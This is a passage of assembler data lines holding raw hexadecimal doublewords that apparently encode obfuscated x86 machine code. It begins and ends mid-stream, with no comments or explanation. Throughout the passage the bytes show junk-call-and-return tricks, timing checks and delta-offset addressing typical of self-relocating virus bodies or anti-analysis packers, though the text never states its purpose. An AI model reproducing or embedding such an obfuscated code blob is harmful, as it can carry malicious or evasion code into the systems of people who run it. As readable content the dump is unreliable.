290FBB90h, 50502C8Fh, 0EE85152h dd 68000000h, 88F8769Dh, 0C01150FEh, 87548BE7h, 0F5F5BB2h dd 6850F31h, 50000000h, 5A310F52h, 90585A58h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 60C35646h, 0B1BCA5F2h dd 658BE65Ah, 0FFDD8AD2h, 4D0EB195h, 8D295606h, 64D0FFDh dd 6A615Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0EDF517C3h, 7FACE900h, 81F8CD4Fh, 7F5C54D3h dd 0E985C733h, 3064D02h, 8B000000h, 95BD83D9h, 650B7h dd 4A840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 11EC62C3h, 40E9FA8Bh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 458DC353h, 0BD0B6E57h, 64D1B31h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 0E885D381h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C5C35040h dd 74168A4Bh, 0BB6055D7h, 48469674h, 2E9BD83h, 0F03064Dh dd 44685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 2B2286CCh, 0B8FF28ECh, 1FC99D8Bh dd 0BD83064Dh, 650B795h, 10840F00h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 3421C355h, 0FF25DA21h, 50B795B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 14E8F87Ah dd 0AB000000h, 57EE2329h, 48A5C651h, 3E7FD5EDh, 0B1E5A157h dd 66090B81h, 5F8B41BBh, 2D9995FFh, 6A064Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 8A76DFC3h dd 0C2DB3453h, 880F6630h, 6, 14259D8Bh, 0B58B064Dh, 650B789h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0C3C35343h dd 14E982B9h, 2A000000h, 0F7279297h, 4DFC68E2h, 0F3BB9F64h dd 0C14BCA51h, 6078FC85h, 325D9D8Bh, 0C761064Dh, 1000106h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 9D8BBDD5h, 64D26E9h, 6800Fh, 0BD8B0000h dd 64D23A9h, 5010B396h, 94305ABFh, 0BD89962Ah, 64D2D45h dd 0B795B5FFh, 9D090650h, 64D1F61h, 308D95FFh, 8589064Dh dd 64D0B95h, 85895253h, 64D13C9h, 0B58B5F5Fh, 650B789h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A6C35343h dd 75608CB0h, 2385858Bh, 8E8064Dh, 7A000000h, 7D0B75A4h dd 890699BBh, 4D3315B5h, 86895F06h, 0C4h, 0AAC78166h, 99958B18h dd 66064D05h, 7F24EF81h, 6A04C283h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0CC72C352h dd 0E995294Dh, 89064D15h, 81662050h, 8D7CC5D3h, 50CBF085h dd 0D7806006h, 61D8B746h, 0B88689h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A45253C3h dd 9D89ADCDh, 64D0C75h, 2145BD8Bh, 6A064Dh, 2335BD89h dd 9D8B064Dh, 64D060Dh, 0B795B5FFh, 6A0650h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 648C74C3h dd 58BB663Ch, 3195FF72h, 0BF064D24h, 148E78A0h, 0F525096h dd 50585A31h, 97EC2CBBh, 6A9603h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8BF408C3h, 95B5FFDFh dd 0B0650B7h, 4D0B9DBDh, 0C195FF06h, 0E9064D2Ch, 0Ch, 207CA66Ah dd 0AEC3479Ah, 745B2D98h, 32A5BD83h, 0F00064Dh, 5584h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 8E97F3Ah, 0EA000000h, 0F2861CF9h, 0E8E0235Bh dd 0Ch, 0DEFF5EC3h, 6D770F51h, 7D7AE2C9h, 1DA7BB66h, 9195895Bh dd 50064D1Ah, 0A2FAFBBh, 24348956h, 0E8A1C381h, 0B5FF73CBh dd 650B795h, 30119D8Bh, 95FF064Dh, 64D17C5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 40C35040h, 2AB9B589h dd 0BD89064Dh, 64D1515h, 0B795B5FFh, 6A0650h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 946DAC3h dd 20AB48C3h, 8B664FB3h, 0B995FFD8h, 6A064D29h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0B81C353h, 0B33BDE09h, 2C8D9D01h, 9501064Dh, 64D2EADh dd 1505BD83h, 0F02064Dh, 5384h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0A9858BB0h dd 6A064D15h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0C7FDC353h, 7C8C66Ah, 446DA8B8h dd 30CABB66h, 0BB0000C6h, 535F103Eh, 211185C7h, 64Dh, 0BEBB0000h dd 0F286B6Ch, 681h, 0F1858900h, 0E9064D1Dh, 0FFFFF2B5h dd 0BD2B6060h, 64D0E29h, 3DD8D8Bh, 0F561064Dh, 6AC18B61h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 3C9EC353h, 0F9FC9411h, 93C59F6Eh, 735858Dh dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8166B2C3h, 8B229BDBh, 4D1515BDh, 60509006h dd 13E9h, 0C7800200h, 0C57F02F7h, 60CB0C33h, 3BE6CABAh dd 0EC88467Bh, 61C88A60h, 6A9061h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0EC4410C3h, 0E5BD6273h dd 85091885h, 64D178Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 226E32C3h, 339B9BC3h dd 8A9E4E8Ah, 6E8DEh, 3F8D0000h, 0D2F68981h, 5FD9BF0Fh dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0ED14DC3h, 8D31609Ch, 64D1121h, 2AE18D0Bh dd 8D61064Dh, 51E6F485h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0FF8D978h, 684h, 0BB666000h dd 8361BD01h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 9FB605C3h, 1A8DB531h, 8589064Dh dd 64D30C5h, 50525050h, 21BF6652h, 50310F61h, 5A310F52h dd 0F585A58h, 0B8BF6631h, 89585A86h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 6BADF6C3h dd 800FF96Eh, 0Ch, 6890Fh, 820F0000h, 0 dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 164671C3h, 8BE9AA58h, 4D26119Dh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 932AC350h, 548F814Dh, 0FF5FF553h, 4D114995h dd 0CE906h, 56790000h, 2D996040h, 2DE59592h, 8D8D4F26h dd 6509A13h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0BBC35040h, 0FA8BFFEEh, 162D9D8Bh, 0D1FF064Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 57C35141h dd 967E3408h, 0E8A3E816h, 0Bh, 2B0D5CC6h, 0E6218861h, 898D3B80h dd 4D03C1BDh, 0BD835F06h, 64D1281h, 77850F01h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 289FC351h, 0DFFEB138h, 3FE8728Ah, 578BBB66h dd 0F50026Ah, 128Bh, 0DE900h, 0D8A00000h, 4C705737h, 51AD5439h dd 8909F23Ch, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 1F0A13C3h, 519D89F0h, 0BB064D05h dd 229F30F4h, 243195FFh, 1FE9064Dh, 0E800000Dh, 0 dd 0FEED815Dh, 310651E6h, 4D2AF18Dh, 31B52906h, 8D064D03h dd 508A5785h, 9E906h, 0BA730000h, 73B021Bh, 9083F5B5h dd 5050FB8Bh, 0FEE775BFh, 56905B57h, 5B6BD380h, 35FF64h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0FDDC357h, 681h, 0A99D3300h, 64064D14h dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 66ED35C3h, 85FFDF8Bh, 64D1815h dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 184759C3h, 0D698B16Ah, 0D19D8B20h, 0F064D23h dd 581h, 70D0BB00h, 0B5FF0683h, 64D2D19h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C2C35242h, 791D5429h dd 0C78105BCh, 4EC4A8E9h, 1F05BD89h, 95FF064Dh, 64D0411h dd 13CE9h, 0F516000h, 605AC0B7h, 32E1B531h, 9D89064Dh dd 64D1559h, 0B06161h, 0F70E6FCh, 0A82h, 48D0F00h, 66000000h dd 81D03CBFh, 0CC4AE8F7h, 6071E432h, 33F78B66h, 4D22558Dh dd 613C6106h, 0F7830Fh, 0B60F0000h, 11E8C8h, 5740000h dd 3E94CBC0h, 0E968151Eh, 55D29C04h, 50A68EBDh, 70E9C381h dd 5B5B3CD7h, 6BAh, 7E900h, 64150000h, 4A7B3FE7h, 0C1C18B8Fh dd 858904E8h, 64D0A99h, 27719D0Bh, 0F766064Dh, 0E98D89E2h dd 2B064D15h, 859D8BC8h, 8B064D2Fh, 8E8D1h, 0D9D60000h dd 7F0B6ECh, 8B660050h, 9D2B5BDFh, 64D1AC5h, 84E9h, 6870F00h dd 8B000000h, 4D21B59Dh, 91858906h, 8B064D0Dh, 4C4C4485h dd 8B66605Fh, 0C08361F2h, 0C59D8B07h, 83064D21h, 0DE800C0h dd 0E8000000h, 417438F5h, 9F82DCFh, 2FB9C6DDh, 5BDF8B66h dd 3BDA8B66h, 0E830FD0h, 66000000h, 0E938B2BFh, 31h, 92F38166h dd 0FF8D8B1Eh, 83FFFFFFh, 840F01E1h, 1Dh, 0D38FF781h, 0A5831595h dd 0FFFFFFFFh, 449589FEh, 665F4C4Ch, 0F9DFF381h, 0E9h dd 0C0B58D00h, 6A065162h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 4F2DC357h, 0BCC2AF0Bh dd 89006A84h, 4D242D85h, 1195FF06h, 6A064D05h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 3C3BC352h, 0A624BB66h, 10C6B9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D72E09BBh dd 0B6BB5F5Fh, 31004F16h, 4D1DF185h, 0FCE18306h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1AC35343h, 0EF11191Eh dd 5820Fh, 81660000h, 0FCED9FF3h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 87C35747h, 1F36B40h, 4BB38BABh dd 2CF9E3BFh, 0B80Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0D2343CC3h, 0A36D01DDh dd 0A59D8BC0h, 0BA064D0Ah, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D4C35141h dd 974BF0CAh, 0C3368ECDh, 6E8h, 4FBAB00h, 0E9562556h, 14h dd 0B922FCC7h, 0C2077203h, 27A0FDA4h, 1C45B055h, 79599F12h dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0EB81668Ch, 8E94088h, 1C000000h, 0EBD82410h, 23AF8279h dd 4D187DBDh, 880D06h, 958B0000h, 64D0599h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B6C35646h, 9AC295F1h dd 0F4AFBE1h, 3EB8056h, 8D8BFA8Bh, 64D051Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 2CC35242h, 0E753CBDDh dd 8B50A964h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 57C35646h dd 0AB9B7353h, 0B70FEF35h, 5810FFBh, 60000000h, 61FC04B6h dd 1C45BD83h, 0F00064Dh, 3A84h, 1DBD8900h, 0B8064D2Ah dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h dd 0DA15E043h, 4DE58D8Dh, 9D89064Dh, 64D1A9Dh, 83FCE1FFh dd 4D02E9BDh, 840F0006h, 3F0h, 2E9BD83h, 0F01064Dh, 3FE84h dd 0E3EF8100h, 8323FBEEh, 4D02E9BDh, 860F0306h, 3B5h, 0BE9h dd 4A65B300h, 7AE5D049h, 0AB380206h, 0EB816660h, 8C661B70h dd 4E180D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0BEC35141h, 705974B0h, 1719BBFEh, 6660733Dh, 6140F1B8h dd 840FC90Ah, 0E7h, 8E0FD98Bh, 1, 79858BF5h, 50064D18h dd 6830Fh, 8A0F0000h, 0 dd 3985335Fh, 0E9064D06h, 6, 6E292C94h, 669070CFh, 509F01BFh dd 6E8h, 0BF79600h, 508EE6F7h, 0BE8h, 28E8A500h, 0D3D5E9EBh dd 16D9901Eh, 905B5B5Bh, 25BD9D8Bh, 6A064Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 61C35242h, 800F28h dd 68000000h, 6A7C4641h, 0F5C1E3BFh, 2434813Ah, 6A6345BEh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FAC35545h dd 95FFF565h, 64D0EB1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0CDC35242h, 0E290214Ah, 9585893Bh, 0FC0650B7h dd 1CFE9h, 2D8D8900h, 8B064D0Eh, 50B78D85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0CEE51CC6h, 1800C776h, 0F000000h, 68Ah, 1D858900h, 8B064D10h dd 50B791B5h, 3DB58906h, 0F8064D1Fh, 32E5858Bh, 0BD0B064Dh dd 64D2DA5h, 9D8B0689h, 64D21EDh, 1879858Bh, 6A064Dh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 13E98BC3h, 0A0000000h, 990F338Eh, 0E14BAAE2h, 0C78DA9FAh dd 44985FFAh, 870FDA34h, 6, 0C199D33h, 4689064Dh, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 61B2BC50h, 96FFB70Fh, 6A9650h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 9215E8C3h, 6870Fh, 95890000h dd 64D2281h, 0B78DB5FFh, 6A0650h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 569254C3h, 0FB13A6ABh dd 0EB81D8ECh, 1F6542CEh, 6794C168h, 0DA8B66A4h, 3E240481h dd 6A5BB76Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 8D97C357h, 17367A75h, 0B795858Dh dd 6A0650h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 336A42C3h, 606090ABh, 9E8h, 13990E00h, 61F6A694h dd 0B15EF4EDh, 52506181h, 310F6160h, 810Fh, 585A0000h dd 0DE8B5061h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0ED26EB7Fh, 8ABAC3F3h dd 0B195FFFAh, 0F5064D0Eh, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 1BFBC055h dd 6275E56Dh, 0C1B7D88Bh, 2E985C7h, 3064Dh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 68A92FC3h, 89B55F0Dh, 4D17DD95h, 95BD8306h, 650B7h dd 4F840Fh, 0FBB30000h, 0D759D03h, 5DE9064Dh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0B16DC352h, 4976EC99h, 0D634A074h, 11C1BD0Bh dd 0F60064Dh, 683h, 398D8B00h, 0F064D12h, 287h, 61616000h dd 0C3050F5h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 459D8BF5h, 83064D04h, 4D02E9BDh, 850F0306h dd 3F2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0D0C35141h, 83E6E27Dh, 50B795BDh, 840F0006h, 3C6h dd 0BE9h, 6558A700h, 4D5ACE41h, 23720762h, 0B795B5FFh dd 6A0650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 56C01AC3h, 0AE865C9h, 0A2000000h, 0B269E087h dd 0A2180F2Ch, 11E88Ch, 0E6FA0000h, 7096802Bh, 6FF1D0F5h dd 8F663470h, 5BE98D63h, 9995FF5Fh, 6A064D2Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 7546C357h, 38396885h, 0D59D8BA8h, 8B064D10h, 50B789B5h dd 0DEB70F06h, 106C7h, 81660001h, 96679BEBh, 5E950h, 0B9740000h dd 96A15D9Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0C0C35343h, 0F8307459h, 0FF855732h, 50B795B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 6BC24C23h, 18818D01h, 95FF064Dh, 64D308Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0EBC35040h dd 6FD9D23h, 0B58B064Dh, 650B789h, 6E59589h, 8B66064Dh dd 85858BD8h, 6A064D23h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8967C350h, 0C486h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0AD292D26h, 0BF33BB66h, 599958Bh, 0F60064Dh dd 61F8C2BFh, 0C283FA8Bh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 7DE923F2h dd 897047C1h, 0B70F2050h, 8DD88ADAh, 50CBF085h, 21BD8906h dd 89064D12h, 0B886h, 2848BF00h, 6A6A38h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 85C35343h, 0FFCD8E12h dd 50B795B5h, 0FB8B5206h, 3195FF5Bh, 6A064D24h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 497EC352h, 0BE9990Ch, 9A000000h, 7AE0224Dh, 0D3B2E6F3h dd 5796280Dh, 7E860h, 0B2F40000h, 3758B9C9h, 616058D7h dd 0F505F61h, 284h, 96DA8B00h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 52C35242h, 10E812h, 0CAE60000h dd 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 57B3677Ah, 95B5FF5Fh dd 0F0650B7h, 95FFDEB7h, 64D2CC1h, 0FCABDF81h, 0F4BF33C7h dd 8375CC30h, 4D32A5BDh, 840F0006h, 4Ch, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 9CC35343h, 9D8B1AEEh dd 64D052Dh, 0D0B70F60h, 124D8589h, 9661064Dh, 5DFFBF66h dd 7E850h, 6EE90000h, 81DFDB8Fh, 0D98B6629h, 8D89965Fh dd 64D0F49h, 0B795B5FFh, 6E90650h, 26000000h, 0C407540Bh dd 0C595FF77h, 81064D17h, 3F93DBDFh, 95B5FF40h, 6A0650B7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0C299C356h, 0DD5F65F6h, 0BD2986CCh, 64D1C39h dd 0B397BB66h, 29B995FFh, 8166064Dh, 838406E3h, 4D1505BDh dd 840F0206h, 3Fh, 0A9858BF9h, 6A064D15h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 248C353h dd 0C685B8DAh, 9E80000h, 82000000h, 0D95E153Ch, 0CA476B64h dd 9822BF66h, 0C7FE8B5Fh, 4D211185h, 6, 158F0F00h, 0E9000000h dd 10h, 598EE6F7h, 26AAB3Ah, 0CBFA9BB4h, 305E1AE6h, 15499D29h dd 8DE9064Dh, 0E9FFFFF3h, 0Ch, 7A8A5701h, 0CE8E9555h, 35C1DB09h dd 858DC18Bh, 64D0735h, 2F958D89h, 9E8064Dh, 0C7000000h dd 9E139BBBh, 0AEC94166h, 0CE8h, 943FFA00h, 15FF7B32h dd 717C0D5Fh, 0A6CF81B1h, 5B7B2CFAh, 0F60905Fh, 584h, 8792B900h dd 8B602CDBh, 506161DFh dd 90DE8B66h, 2241BD8Bh, 6A064Dh, 89006AF9h, 4D2415BDh dd 0C2858D06h, 6A0651F5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 1BB0C357h, 0FB8B2680h dd 8B05C083h, 4D219D9Dh, 8B509006h, 0BD2990F8h, 64D0BC9h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0E1FB36C3h, 0AE28350Ah, 158D8B60h, 0E8064D21h dd 7, 0D9098C67h, 89659CEDh, 4D257995h, 6A615906h, 0F59D0B00h dd 0F064D0Bh, 0B8Ah, 6E900h, 4F630000h, 3999C461h, 114995FFh dd 0BD8B064Dh, 64D0445h, 9A138D8Dh, 6A0650h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 8F26EDC3h dd 4E027423h, 8B8B27E6h, 4D0E19BDh, 0F515606h, 5B5BDFB7h dd 83F5D1FFh, 4D1281BDh, 850F0106h, 68h, 0BD2BFA8Bh, 64D23B1h dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 4982DBC3h, 4273CC18h, 28C0F50h, 0B3000000h dd 2404891Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 74C35040h, 635E5F90h, 80C02D2h, 0DBB70F53h, 243195FFh dd 0F88B064Dh, 0EE1E9h, 0E800h, 815D0000h, 51F5CCEDh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 891B6449h, 4D2D3985h, 0E8E0F06h, 0E9000000h, 9, 7E62E16h dd 783869B6h, 52006AB8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0B531F8E8h, 64D2415h, 8A57858Dh dd 0BF0F0650h, 566050FAh, 0B05A5B56h, 489614Ch, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 499D0DE6h, 35FF6461h, 0 dd 29BD9D8Bh, 8964064Dh, 25h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 6BBFF95Fh dd 0CEE1D7D0h, 81667A3Ah, 0FF14D7CBh, 4D181585h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0F9D97DB1h, 6800Fh, 9D890000h, 64D1AE1h, 0FE8FF6Ah dd 0C6000000h, 4256DBA8h, 3E68A4CFh, 6DFD6B8Ah, 8166B587h dd 5FE637CBh, 1611B5FFh, 0BD8B064Dh, 64D220Dh, 41195FFh dd 46E9064Dh, 81000001h, 0CDA129CBh, 2900B030h, 4D0C61BDh dd 0E970E606h, 10h, 3C4DE441h, 0F5A263AEh, 0C522108Ah dd 0E850BF78h, 0BD3171E4h, 64D052Dh, 830F613Ch, 111h, 1F2D9D8Bh dd 0B60F064Dh, 9D8B53C8h, 64D2EA5h, 1585295Fh, 0BA064D16h dd 6, 0BA04BB66h, 0B3C18Bh, 5004E8C1h, 0E2F7665Bh, 0C719D2Bh dd 6051064Dh, 0FE9h, 0CB96FD00h, 0B01EF392h, 9163B314h dd 0F03C4A3h, 61D9B70Fh, 66C82B5Fh, 8B09E9BBh, 0F9B70FD1h dd 0B4E9h, 71858900h, 8B064D22h, 554C5085h, 14E947h, 0F77D0000h dd 8CE43A18h, 70318574h, 2ACB0E86h, 0D015B6CBh, 8B0F9BD1h dd 4, 9CE8BB66h, 0F07C083h, 0C083DEB7h, 89576000h, 4D2F398Dh dd 0F4805806h, 0D03B6120h, 2A830Fh, 13E80000h, 45000000h dd 0C5B652Ah, 77914F93h, 0B759D54Fh, 0BB80666Fh, 0D38156B2h dd 3591B736h, 43E95Fh, 66520000h, 5FB4B2BBh, 0FFFF8D8Bh dd 0BB66FFFFh, 0E1837A68h, 2A840F01h, 0F000000h, 0C80h dd 68D0F00h, 9000000h, 4D2D7D8Dh, 0FFA58306h, 0FEFFFFFFh dd 4C509589h, 0B5314755h, 64D05E5h, 0E9h, 86B58D00h, 6A065173h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 9BD0C355h, 15959D8Bh, 6A064Dh, 0A6CF8166h dd 1195FFCDh, 0F064D05h, 840FFABFh, 6, 2A09BD89h, 6BB9064Dh dd 6A000010h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8BB2C350h, 0A4349E31h, 9E93Fh dd 37570000h, 0E2C54C5Ch, 0FC5085Eh, 685h, 0B1BD2300h dd 83064D22h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 95E868C3h, 6E8A3h, 5B58960h, 51064D1Bh dd 0A477EA81h, 61586E58h, 57006AFCh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 6830FE3h, 89000000h dd 4D0EC5BDh, 0B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0F52A35C3h, 0DCCC5382h dd 0E820Fh, 0E9530000h, 7, 781D0D66h, 5B266AA7h, 0BAFEB70Fh dd 0 dd 731BD8Bh, 33AD064Dh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0B02FC0C3h, 6A60179Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 9976C356h, 0E16F68EBh dd 0B32E8C36h, 880DC3h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 947681C3h, 21DD9D89h dd 958B064Dh, 64D0599h, 12860Fh, 0DE90000h, 0B4000000h dd 65E55DB9h, 12DA9C4Ch, 9E29BC7Dh, 51D8D8Bh, 6A064Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 4CE7EBC3h, 74AA05E6h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0BF665818h, 8D094C3Ch, 64D2835h, 1C45BD83h dd 0F00064Dh, 7A84h, 14E96000h, 6D000000h, 0EE8D8641h dd 0CE803399h, 0B7EB3EABh, 383F2EE1h, 66DBB27Eh, 0B861C78Bh dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CCC35141h dd 7FEE3B8Bh, 26D11511h, 4DE58D8Dh, 6A064Dh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0D63781C3h dd 0C9889955h, 0F3544F7h, 0E1FFDEB7h, 83FFBF0Fh, 4D02E9BDh dd 840F0006h, 4A4h, 4DBD8960h, 0E8064D0Dh, 0Fh, 0A72330C5h dd 29CCAEAFh, 8A6472CEh, 6608E1C9h, 6158D38Bh, 2E9BD83h dd 0F01064Dh, 49284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 838488EEh, 4D02E9BDh dd 860F0306h, 431h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 6CC35646h, 666B57B8h, 0B7CEF6BBh, 9D8B6064h dd 64D23D5h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 